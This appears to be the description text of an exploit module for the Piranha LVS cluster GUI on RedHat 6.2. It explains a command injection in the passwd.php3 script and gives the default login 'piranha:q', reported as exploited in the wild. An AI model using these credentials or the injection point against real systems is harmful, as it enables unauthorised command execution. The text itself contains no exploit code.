  				This module abuses two flaws - a metacharacter injection vulnerability in the
  				HTTP management server of RedHat 6.2 systems running the Piranha
  				LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
  				The vulnerability allows an authenticated attacker to execute arbitrary
  				commands as the Apache user account (nobody) within the
  				/piranha/secure/passwd.php3 script. The package installs with a default
  				user and password of piranha:q which was exploited in the wild.
